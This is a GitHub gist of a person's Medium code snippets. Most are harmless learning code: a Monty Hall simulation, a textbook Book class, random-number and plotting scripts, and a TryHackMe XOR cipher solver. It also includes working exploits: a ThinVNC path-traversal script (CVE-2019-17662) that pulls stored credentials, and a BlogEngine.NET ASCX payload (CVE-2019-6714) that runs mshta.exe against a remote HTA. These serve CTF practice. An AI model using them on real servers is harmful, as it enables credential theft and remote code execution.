Skip to content

Instantly share code, notes, and snippets.

@Alekseyyy
Last active June 9, 2023 16:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Alekseyyy/a621a72c2cf9b6487cf8313ccc2908eb to your computer and use it in GitHub Desktop.
Save Alekseyyy/a621a72c2cf9b6487cf8313ccc2908eb to your computer and use it in GitHub Desktop.
A gist of my Medium code snippets

A gist of my Medium code snippets

how I structure the files:

  • For CTFs: ctf.[year].[ctf's name].[challenge's name].[filename].[ext]
  • For other Medium articles: medium.[date (format: DDMMYYYY)].[article name].[filename].[ext]

Index of files by article:

A simple JavaScript sorting utility (17 Feb., 2022)
# [... snip ...]
def exploit(host,port):
url = "http://" + host +":"+port+"/xyz/../../ThinVnc.ini"
r = requests.get(url)
body = r.text
print(body.splitlines()[2])
print(body.splitlines()[3])
def main():
if(len(sys.argv)!=3):
print("Usage:\n{} <host> <port>\n".format(sys.argv[0]))
print("Example:\n{} 192.168.0.10 5888")
else:
port = sys.argv[2]
host = sys.argv[1]
exploit(host,port)
# [... snip ...]
/*
* An application to crack an XOR cipher using Dawkins' weasel
* By Aleksey <hackermaneia@riseup.net>
* - Githubs: https://github.com/Alekseyyy
* - TryHackMe: https://tryhackme.com/p/EntropyThot
*
* Note that some parts of this programme are borrowed from o-
* -ther sources. Most notably, the "xor" function that retur-
* -ns a String is the result of decompiling the .class file
* of TryHackMe's problem. P1's random string generator is ba-
* -sed off of the following website:
* - https://www.baeldung.com/java-random-string
*/
import java.io.*;
import java.util.*;
public class Dawkins {
private static final String correctPassword = "aRa2lPT6A6gIqm4RE";
public static void main(String[] args) {
Random random = new Random();
int counter = 1;
char[] target = correctPassword.toCharArray();
char[] solution = new char[target.length];
System.out.println("==========================================================");
System.out.println("= A crude, amateurish implementation of Dawkins' ");
System.out.println("= weasel to crack the TryHackMe XOR cipher ");
System.out.println("= By A. S. \"Aleksey\" Ahmann <hackermaneia@riseup.net> ");
System.out.println("= - https://github.com/Alekseyyy ");
System.out.println("= - https://tryhackme.com/p/EntropyThot ");
System.out.println("==========================================================\n");
boolean done = false;
while (!done) {
// [P1] Generate random string (of course the length of random string should = correctPassword)
// - this "seed" is based off of the following: https://www.baeldung.com/java-random-string
char[] seed = random.ints(48, 123)
.filter(k -> (k <= 57 || k >= 65) && (k <= 90 || k >= 97))
.limit(target.length)
.collect(StringBuilder::new, StringBuilder::appendCodePoint, StringBuilder::append)
.toString().toCharArray();
// [P2] Put the random string through the xor cipher, and split it into char array of course
char[] nextGen = xor(new String(seed)).toCharArray();
// [P3] Save the matching characters as "offspring"
boolean emptySlots = false;
for (int k = 0; k < solution.length; k++) {
if (solution[k] != Character.MIN_VALUE) {
continue;
}
else {
emptySlots = true;
if (nextGen[k] == target[k]) {
solution[k] = seed[k];
}
}
}
System.out.printf("Generation %d: %s\n", counter, new String(solution));
counter++;
if (!emptySlots) {
done = true;
}
}
System.out.printf("Solution: %s\n", new String(solution));
}
// From the decompile dump of "BasicStringObfuscation.class"
private static String xor(String var0) {
char[] var1 = var0.toCharArray();
char[] var2 = new char[var1.length];
for(int var3 = 0; var3 < var2.length; ++var3) {
char var4 = var1[var3];
var2[var3] = (char)(var4 ^ var3 % 3);
}
return new String(var2);
}
}
# [... snip ...]
### Argument Parsing ####
def parseArgs(self):
parser = argparse.ArgumentParser(description="CVE-2019-17662 ThinVNC Arbitrary File Read")
parser.add_argument("host", help="The target IP or domain")
parser.add_argument("port", type=int, help="The target port (1-65535)")
parser.add_argument("-f","--file", default="../ThinVnc.ini", help="The file to read (default: ../ThinVnc.ini")
parser.add_argument("-s","--ssl", default=False, action="store_true", help="Does the server use SSL?")
parser.add_argument("--accessible", default=False, action="store_true", help="Remove banners and make exploit friendly for screen readers")
self.args = parser.parse_args()
if self.args.port not in range(1,65535):
self.colours.print("fail", f"Invalid port number: {self.args.port}")
self.args.host = re.sub("https?://|\/$", "", self.args.host)
#### Perform the path traversal ####
def exploit(self):
url = f"""{"https" if self.args.ssl else "http"}://{self.args.host}:{self.args.port}/abc/../{self.args.file}"""
req = requests.Request(method="GET", url=url)
prep = req.prepare()
prep.url = url
try:
r = self.s.send(prep, timeout=3)
except requests.exceptions.ConnectTimeout:
self.colours.print("fail", f"Could not connect to the target ({self.args.host}:{self.args.port})")
except KeyboardInterrupt:
self.colours.print("info", "Exiting...")
return
except:
self.colours.print("fail", f"Could not connect to target: {self.args.host}")
if r.status_code != 200:
self.colours.print("fail", "Error retrieving file")
if self.args.file != "../ThinVnc.ini":
self.colours.print("success", f"Retrieved file ({self.args.file}):")
print(r.text)
return
creds = re.findall("(?:User|Password)=([^\r]*)", r.text)
if len(creds) < 2:
self.colours.print("fail", "Unable to retrieve credentials")
self.colours.print("success", "Credentials Found!")
print(f"""Username:\t{creds[0]}\nPassword:\t{creds[1]}\n\n""")
# [... snip ...]
/*
* Modified PoC of CVE-2019-6714 discovered by Cobb (2019).
* By Aleksey <hackermaneia@riseup.net>
* - GitHub: https://github.com/Alekseyyy
* - Keybase: https://keybase.io/epsiloncalculus
*
* This exploit works by first gaining access to the admin panel of
* a BlogEngine.NET powered website. Then this file must be uploaded
* onto the CMS as "PostView.ascx" and finally triggered by accessing
* the following url:
* http://<target ip>/?theme=../../App_Data/files
*
* BUT BEFORE launching the exploit, be sure to configure the payload
* below by setting the url that leads to the HTA payload.
*/
<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>
<script runat="server">
protected override void OnLoad(EventArgs e) {
base.OnLoad(e);
System.Diagnostics.Process payload = new System.Diagnostics.Process();
payload.StartInfo.FileName = "mshta.exe";
payload.StartInfo.Arguments = ""; // url to HTA with payload
payload.StartInfo.UseShellExecute = true;
payload.StartInfo.CreateNoWindow = true;
payload.Start();
}
</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>
/*
* References
* Cobb, D. (2019). BlogEngine.NET <= 3.3.6 Directory Traversal RCE. Exploit Database. Retrieved on Apr. 25, 2022 from: https://www.exploit-db.com/exploits/46353
*
*/
/*
* A simple simulation to test the Monty Hall problem
* Ported by Aleksey <hackermaneia@riseup.net>
* ... after Vaughan (2018, pp. 221-222)
*/
package com.epsiloncalculus.mhsolution;
import java.io.*;
import java.util.*;
/**
*
* @author Aleksey
*/
public class MHSolution {
public static void main(String[] args) {
Scanner inputMechanism = new Scanner(System.in);
System.out.println("A simple simulation to test the Monty Hall problem");
System.out.println("Ported by Aleksey <hackermaneia@riseup.net>");
System.out.println(" ... ported from Vaughan (2018 pp. 221-222)\n");
System.out.print("Number of trials to run: ");
int totalTrials = inputMechanism.nextInt();
inputMechanism.close();
Random random = new Random();
int stayWins = 0;
int switchWins = 0;
char[] doors = {'a', 'b', 'c'};
for (int trial = 0; trial < totalTrials; trial++) {
int winner = doors[random.nextInt(3)];
int pick = doors[random.nextInt(3)];
if (pick == winner)
stayWins++;
else
switchWins++;
}
float stayProbability = (float)stayWins / ((float)stayWins + (float)switchWins);
float switchProbability = (float)switchWins / ((float)stayWins + (float)switchWins);
System.out.printf("\nIf not switching doors, the number of times winning is %d and the probability of winning is %.2f per cent\n",
stayWins, stayProbability * 100);
System.out.printf("If switching doors, the number of times winning is %d and the probability of winning is %.2f per cent\n",
switchWins, switchProbability * 100);
}
}
/**
* Starter code to Chapter 2 of Object First with Java (Fourth Ed)
* Modified by Aleksey <hackermaneia@riseup.net>
*
* A class that maintains information on a book.
* This might form part of a larger application such
* as a library system, for instance.
*
* @author David Barnes, Michael Kolling and Aleksey
* @version 1 Dec., 2022
*
* Starter code adapted from Barnes & Kolling (2009, p. 53)
*/
import java.io.*;
import java.util.*;
public class Book {
// The fields
private String author;
private String title;
private int pages;
private String refNumber;
private int borrowed;
/**
* Set the author and title fields when this object
* is constructed.
*/
public Book(String bookAuthor, String bookTitle, int bookPages) {
author = bookAuthor;
title = bookTitle;
pages = bookPages;
refNumber = "";
borrowed = 0;
}
// Add the methods here (my code) ...
public String getAuthor() {
return this.author;
}
public String getTitle() {
return this.title;
}
public int getPages() {
return this.pages;
}
public void printAuthor() {
System.out.println(this.author);
}
public void printTitle() {
System.out.println(this.title);
}
public void printDetails() {
System.out.printf("Title: %s, Author: %s, Pages: %d, Borrowed: %d.\n", this.getAuthor(), this.getTitle(), this.getPages(), this.getBorrowed());
}
public void setRefNumber(String x) {
if (x.length() < 3) {
System.out.println("Please enter a string with length greater than or equal to 3");
return;
}
this.refNumber = x;
}
public String getRefNumber() {
if (this.refNumber == "")
return "ZZZ";
return this.refNumber;
}
public void borrow() {
this.borrowed++;
}
public int getBorrowed() {
return this.borrowed;
}
public static void main(String[] args) {
Book objBook = new Book("The Black Swan", "Nassim Taleb", 666);
System.out.printf("Testing the getAuthor, getTitle and getPages functions: %s, %s, %d.\n", objBook.getAuthor(), objBook.getTitle(), objBook.getPages()); // Solution to Exercise 2.75 & 2.77
objBook.printAuthor(); // Solution to Exercise 2.76
objBook.printTitle(); // Soultion to Exercise 2.76 (ii)
objBook.printDetails(); // Solution to Exercise 2.78
objBook.setRefNumber("42"); // Solution to Exercise 2.81 (bad entry)
System.out.printf("Testing Reference Number: %s\n", objBook.getRefNumber());
objBook.setRefNumber("777"); // Solution to Exercise 2.81 (good entry)
System.out.printf("Testing Reference Number: %s\n", objBook.getRefNumber());
// Solution to Exercise 2.82
for (int i = 1; i <= 5; i++)
objBook.borrow();
objBook.printDetails(); // Solution to Exercise 2.82
}
}
# A tool to generate histograms to visualise the outputs of
# my random integer generator with a large number of trials.
# By Aleksey <hackermaneia@riseup.net>
# - GitHubs: https://github.com/Alekseyyy
# - Medium: https://medium.com/@EpsilonCalculus
import numpy as np
import matplotlib.pyplot as plt
import random # <- a real random generator for testing my lousy one lol
lower_bound, upper_bound = -100, 100
for n in range(3):
plt.figure()
plt.rcParams['xtick.bottom'] = plt.rcParams['xtick.labelbottom'] = False
plt.rcParams['xtick.top'] = plt.rcParams['xtick.labeltop'] = True
results = []
for k in range(10000000):
results.append(rand(lower_bound, upper_bound, random.randint(100001, 999998)))
plt.hist(results, bins=abs(lower_bound) + abs(upper_bound))
plt.title("Random Number", fontsize=16)
plt.ylabel("Frequency", fontsize=16)
plt.show()
# Incomplete solution to Matter and Interactions (Chabay & Sherwood 2015, p. 42)
# By Aleksey <hackermaneia@riseup.net>
import random as pyrand
from visual import *
def render_cubedge(mag, rad):
"""
mag (vector) = magnitude of the cube
rad (scalar) = radius of the rendered spheres
Note that (I think?) in reference to my Figure 2:
vector(ax, ay, az) = E[ax, f(x), g(x, f(x))]
"""
colours = (
color.red,
color.cyan,
color.green
)
edge_coefficients = (
vector(0, 0, 0), # O
vector(+1 * mag, 0, 0), # OL
vector(0, +1 * mag, 0), # TO
vector(+1 * mag, +1 * mag, 0), # O-UL
vector(0, +1 * mag, 0), # OA
vector(+1 * mag, 0, -1 * mag), # OR
vector(0, +1 * mag, -1 * mag), # O-AU
vector(+1 * mag, +1 * mag, -1 * mag) # O-PP
)
for n, k in enumerate(edge_coefficients):
sphere(pos=k, radius=rad, color=pyrand.choice(colours))
def render_arrow(mag):
"""
mag (scalar) = magnitude of the arrow
ax (vector) = the directon of the arrow
"""
arrow(pos = vector(
0, 0, -1 * mag
), axis = vector(
+1 * mag, +1 * mag, +1 * mag
), color = color.blue)
render_cubedge(6, 0.5)
render_arrow(6)
# References
# Chabay, R. W. & Sherwood, B. A. (2015). Matter and Interactions
# [Fourth Edition, Hardcover]. John Wiley & Sons.
// A really bad sorting algorithm that shouldn't be used...
// ... instead, use JavaScript's built in sorting functions
// By Aleksey <hackermaneia@riseup.net>
// - GitHub: https://github.com/Alekseyyy
// - Medium: https://medium.com/@EpsilonCalculus
const bad_sort = (x) => {
y = [];
do {
winner = x[0];
for (let k = 0; k < x.length; k++) {
if (x[k] < winner)
winner = x[k];
}
y.push(winner);
x.splice(x.indexOf(winner), 1);
} while (x.length > 0);
return y;
};
const interface = (x, sid) => {
x_p = document.getElementById(x)
.value.split(" ").map(y => parseInt(y));
document.getElementById(sid)
.innerHTML = "Solution (seperated by commas): " + bad_sort(x_p);
};
# An implementation of the random integer generator ...
# ... devised by Giordano et al. (2013, pp. 194-195, question 3)
# By Aleksey <hackermaneia@riseup.net>
# - GitHubs: https://github.com/Alekseyyy
# - Medium: https://medium.com/@EpsilonCalculus
from math import floor
def rand(m, n, seed=694512):
if (seed < 100000) or (seed > 999999):
raise Exception("The seed must be greater than 100000 or less than 999999")
d = 2**31
Y = (15625 * seed + 22221) % d
x_i = floor(m + (Y * (n - m)/(d - 1)))
return x_i
if __name__ == "__main__":
pass
# A tool to generate histograms to visualise the outputs of
# my random integer generator.
# By Aleksey <hackermaneia@riseup.net>
# - GitHubs: https://github.com/Alekseyyy
# - Medium: https://medium.com/@EpsilonCalculus
import numpy as np
import matplotlib.pyplot as plt
bounds = [
[0, 10], [0, 100], [0, 1000],
[-10, 0], [-100, 0], [-1000, 0],
[-10000, 10000]
]
import random # <- a real random generator for testing my lousy one lol
for x in bounds:
plt.figure()
plt.rcParams['xtick.bottom'] = plt.rcParams['xtick.labelbottom'] = False
plt.rcParams['xtick.top'] = plt.rcParams['xtick.labeltop'] = True
results = []
for y in range(abs(x[0]) + abs(x[1])):
results.append(rand(x[0], x[1], random.randint(100001, 999998)))
plt.hist(results, bins=abs(x[0]) + abs(x[1]))
plt.title("Random Number", fontsize=16)
plt.ylabel("Frequency", fontsize=16)
plt.show()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment